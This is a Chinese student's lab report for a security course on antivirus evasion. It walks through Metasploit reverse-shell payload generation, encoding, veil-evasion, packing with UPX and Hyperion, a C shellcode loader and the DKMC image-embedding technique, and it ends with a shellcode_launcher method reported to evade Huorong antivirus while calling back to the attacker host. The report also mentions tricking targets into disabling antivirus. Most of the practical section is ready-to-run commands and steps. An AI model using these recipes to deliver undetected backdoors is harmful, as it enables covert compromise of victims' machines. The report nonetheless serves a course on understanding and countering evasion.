20175104 李屹哲 Exp3 免杀原理与实践
0.实验准备
1.实践内容(4分)
1.1 方法(3分)
- 正确使用msf编码器(0.5分),
- msfvenom生成如jar之类的其他文件(0.5分),
- veil(0.5分),
- 加壳工具(0.5分),
- 使用C + shellcode编程(0.5分),
- 使用其他课堂未介绍方法(0.5分)
1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
2.基础问题回答
(1)杀软是如何检测出恶意代码的?
(2)免杀是做什么?
(3)免杀的基本方法有哪些?
(4)开启杀软能绝对防止电脑中恶意代码吗?
3.实验感想
实验准备
1.免杀
-
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
-
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
-
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
2.免杀技术(Evading AV)综述
就常见恶意软件而言,一般AV的检出率为40%-98%。就算你用了最好的AV,恶意软件依然有1/50的概率通过检测。这个概率还可以,貌似多试几种恶意软件就可以了。那免杀的方法当然是针对检测技术的。
所以总体技术有:
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
免杀就是让安插的后门不被AV软件发现。除了直接使用现有后门软件外,还有一些方式,在实际中也有用。
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
本次实验由于virscan莫名其妙上传了文件检测不了,于是本次实验病毒检测使用virustotal进行检测
实验环境为:kali 64位,win7 64位(装了火绒),win10 64位(自带Windows的安全中心)
实践内容
正确使用msf编码器
- 先对上次的程序放在检测网站上检测一下做个对照组,发现好像有点少,这里声明一下,我第一次做的时候生成的是64位的payload,可能一般这样做的人比较少,所以较难检测。但不要多想,以这种方式仍然做不了免杀的,你一放到win10或者win7下,直接疯狂警告你。
- 为了让数据客观一点,所以我正常的生成了32位的payload。结果不出意料。
-
这里我们首先使用指令 msfvenom --list encoders 查看可以进行的编码类型,这里我们使用 x86/shikata_ga_nai 方式进行编码(也可以尝试其他的)
-
我这里试验了1次和8次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai-b '\x00' LHOST=192.168.135.133 LPORT=5104 -f exe >20175104cd2.exe//1次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 8 -b '\x00' LHOST=192.168.135.133 LPORT=5104 -f exe >20175104cd2.exe//8次编码
- 当然结果直接很显然,没有比上面的好一丁点。
-
基本上,仅通过编码方式生成的payload是不可能做到免杀的,通过这些触目惊心的被查杀率就知道了
msfvenom生成如jar之类的其他文件
-
先生成Java文件msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.135.133 lport=5104 x> 175104_ja.jar
- 查杀率比前几种方式好一点,不过依旧基本过半
-
生成bash文件(bash 是一种shell,也可以说是命令语言解释器。名称取自‘Bourne-Again SHell'的首字母)
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.135.133 LPORT=5104 -f raw > 175104.sh
-
做到这里我人蒙了,但鉴于bash是Linux系统脚本,在Windows下可能不会一般有人装环境来实现运行bash,所以杀软也不会记录这种文件。
-
当让还有很多类型的文件可以生成,基于不同的场景可以生成不同类型的文件。
veil
veil有两种安装方式,但我用第一种失败了;建议使用第二种方法
-
第一种下载好安装包进行安装,附上链接有想尝试的可以试试
-
第二种方法,首先要在开发源加上中科大和阿里云,然后依次运行代码
apt-get update apt-get upgrade -y apt-get install veil-evasion//安装依赖 veil//运行安装
-
注意在安装时这个参数一定要选s(是安装时默认选项的意思),否则会不停的提示你要指定各种选项之类的,会很麻烦
-
安装完成后使用 veil 指令进入界面(注意要以管理员权限运行,不然生成的payload会写不进去文件内)
-
可以输入指令use 1使用veil-evasion
-
可以发现我们共有41个payload,那么接下来可以使用list指令查看payload以及使用use+数字选取对应payload,这里我们use 22(powershell/meterpreter/rev_tcp)
-
设置反弹连接的各项参数
-
ip:set LHOST 192.168.135.133
-
端口:set LPORT 5104
-
然后generate生成,输入payload名字即可生成payload
-
注意查看生成文件路径,生成后是bat文件
-
- 这里检测一哈。好吧,再见,也没比其他的好到哪去。
加壳工具
这里我们给之前的生成的文件进行加壳操作
- 使用压缩壳upx进行加壳,指令为upx 20175104bk1.1.exe -o 20175104bk1.1.upxed.exe 将生成的加壳文件检测一下
-
说实话没啥用
-
使用加密壳(Hyperion)进行加壳
-
将你要加壳的文件复制到/usr/share/windows-resources/hyperion/中(友情提示:每个人的路径不一定都一样,还有复制的时候以管理员权限复制)
-
接下来执行命令 wine hyperion.exe -v 20175104bk1.1.exe 20175104bk1.1.upxed.Hy.exe (注意以管理员权限执行,不然生成的程序写不到文件中)
-
然后常规操作,放到网站上检测一下。
- 依旧凉凉,所以基本上通过加壳实现免杀的念头也就打消了。
使用C + shellcode编程
- 先利用msfvenom生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.135.133 LPORT=5104 -f c
- 这里新建一个5104sc.c文件,内部代码为
#include <stdio.h> unsigned char buf[]=//生成的shellcode int main() { int (*func)()=(int(*)())buf;//调用shellcode func(); }
-
使用
mingw-w64
将c语言文件生成exe文件 i686-w64-mingw32-g++ 5104sc.c -o 5104sc.exe -
如果提示找不到指令就运行 apt-get install mingw-w64 安装mingw-w64
-
运行后把文件直接复制过去然后就提示我了
-
接下来放在检测网站上检测一哈
- 然后我就一点也不好奇为啥被查杀了,接下来放到的win7里面试一下能不能回连吧(部署msfconsole的方法和实验二一样)
- 发现回连成功
使用其他课堂未介绍方法
-
这里一开始直接奔着实现免杀去的,所以试验了多种方法,但基本没啥用,在这里我先介绍失败的方法,在下面的通过组合技术实现免杀中介绍成功的那种方法
-
使用DKMC实现免杀
-
DKMC是Don't Kill My Cat (DKMC)的简称,翻译为"不要杀害我的小猫咪"。DKMC是一种生成混淆的shellcode的工具,并把shellcode合成到图像文件中,最终依靠PowerShell执行最终的shellcode有效负载。具体安装方法及详细使用方法请参考这篇教程
-
先利用Msf生成raw格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.135.133 LPORT=5104 -f raw > 5104
-
- 进入文件目录执行python dkmc.py。在主菜单中选择sc,然后设置
source
为 /home/20175104lyz/桌面/5104 ,指令为 set source.... ,再执行run
生成shellcode。
- 进入文件目录执行python dkmc.py。在主菜单中选择sc,然后设置
-
-
使用指令exit返回主菜单,在主菜单中选择gen然后设置
shellcode
为上一步中生成的shellcode,指令为set shellcode ...其他默认即可,执行run生成图像。(这里也可以更换注入shellcode的图像)
-
-
- 成功会显示输出图片的路径,找到图片文件可以给它更名。
-
-
在主菜单中选择
ps
,设置url地址,这个url地址就是web分发图像文件的地址,设成自己的地址,端口用8080就好。指令为set url http://192.168.135.133:8080/2.bmp。 -
run后将生成的内容保存为bat文件(也可以直接在Windows命令行里面直接输入生成的指令)
-
-
- 启动web服务(内置)并传送恶意图片。输入web 并设置端口为8080set port 8080 ,之后run就可以了
-
- 之后启动msfconsole
-
- 然后将之前生成的bat文件在Windows下打开(或者在控制台直接输入生成的powershell的代码)
- 之后被火绒查杀,win10查杀,所以基本上以这种方式实现免杀是不可能了,不过我没有放到查杀网站上检测。虽然失败了,不过这种思路还是蛮新奇的;将shellcode嵌入图片,以网络分发,并生成powershell代码的方式启动,不过我觉得失败的原因也正是因为调用了powershell,杀软对这种行为都很敏感,基本上你这边一使用,那边就阻止了。
-
- 如果把杀软关了还是可以成功回连的,然后DKMC的控制台也会有显示
- 还有几种方法,比如利用工具venom免杀,这种方法貌似可以实现免杀,不过这种工具我在使用时无法输出payload。我看网上说kali有些问题导致这种工具无法使用,要在parrot的Linux虚拟机下运行该软件,这里附上链接,如果有想尝试的人可以试试。
通过组合应用各种技术实现恶意代码免杀&用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(两个内容在一个里面实现的)
- 这里是使用一种shellcode+工具的方法,使用工具为shellcode_launcher,这篇链接详细的讲了怎么下载以及怎么操作;同时里面还有别的方法可以参考
- 首先还是先用Msfvenom生成raw格式的shellcode,顺便进行一下编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.135.133 lport=5104 -f raw -o 175104.raw
-
在kali下运行msfconsole开始监听
-
然后在另一台Windows命令行中用shellcode_launcher运行raw格式的shellcode(可以直接把文件复制到Windows内,杀软不会报错)在,指令为shellcode_launcher.exe -i 175104.raw
-
发现杀软不会查杀,我甚至还进行了一下全盘检测(杀软为火绒,版本为最新版火绒安全软件5.0(个人用户)),也成功回连了。
- 有一说一,我是万万没有想到这么简单的方法会成功,之前那么多方法都失败了,而最简单的方法却意外成功。不过依旧这里如果拿win10来试验的话依旧会隔离,我认为这个是因为win10的安全机制可能会检测回连的行为,一旦存在的话,不论是什么程序我想都会屏蔽掉。所以由此可见win10自带的安全机制要远远比火绒,360这类软件要强大。
问题回答
(1)杀软是如何检测出恶意代码的?
经过本次实验我认为基本上是通过特征码;或者与已经在杀软数据库中保存的恶意代码特定的代码段有相似甚至相同之处,或者行为(如果有调用powershell或者回连行为),来进行检测和查杀的。
(2)免杀是做什么?
免杀就是通过一些方法使得恶意代码能绕开杀软限制,达到其攻击受害机的目的。如对其加壳,编译。使用一些工具或者手工打造来帮助其达到这一目的
(3)免杀的基本方法有哪些?
-
改变特征码,如加壳,或者对shellcode进行编码,或者重新进行编译
-
改变行为:
-
改变通讯方式(反弹式连接,使用隧道技术,加密通讯数据)
-
改变操作模式(减小系统修改),加入混淆指令(花指令)
-
或者使用工具生成shellcode,然后纯手工打造一个恶意软件,
-
社会工程学,可以诱骗目标关闭杀软,或者执行你的恶意软件(比如有些破解软解会提示你关闭360后运行....)
(4)开启杀软能绝对防止电脑中恶意代码吗?
通过这次实验可以显而易见的看出,不可能的,也许可以阻止大多数比较基础的攻击,但如果是处心积虑的攻击,比如手工打造的,然后各方面都很完善的恶意代码,也许就不能阻止不了。正如那个故事,装上锁只能防范97%的平时没有恶意的人。但并不能防范1%的恶人。
实验感想
本次实验可以说真的是历经千辛万难了,先是检测网站virscan用不了,接下来又是veil安装出了问题,我在网上找了很多攻略,最后发现如果实在用下载下来的文件直接安装不了还可以换一种方式。第二种方式虽然耗时,但基本上不用费力就可以成功了。然后最后免杀那里,我简直把所有可行的方法都试过一遍。然后真的发现不论win10还是kali我的python环境就是装不好。这是我直接转换思路,寻求别的方法。最终找到了行之有效的免杀方法。而且莫名的很简单。本次实验还是学会了很多,首先对msfvenom使用有了更深的理解,从没想过其实它的功能也很强大。同时这里学会使用了许多新工具比如这个DKMC还有venom。虽然这两种方式都以失败告终。但使用时拓宽了我的眼界,使我对免杀这一问题有了更加深入的理解,同时发现在如果一种方式行不通的话,如果有其他方式不妨及时尝试一下,一直钻死胡同也不是个办法。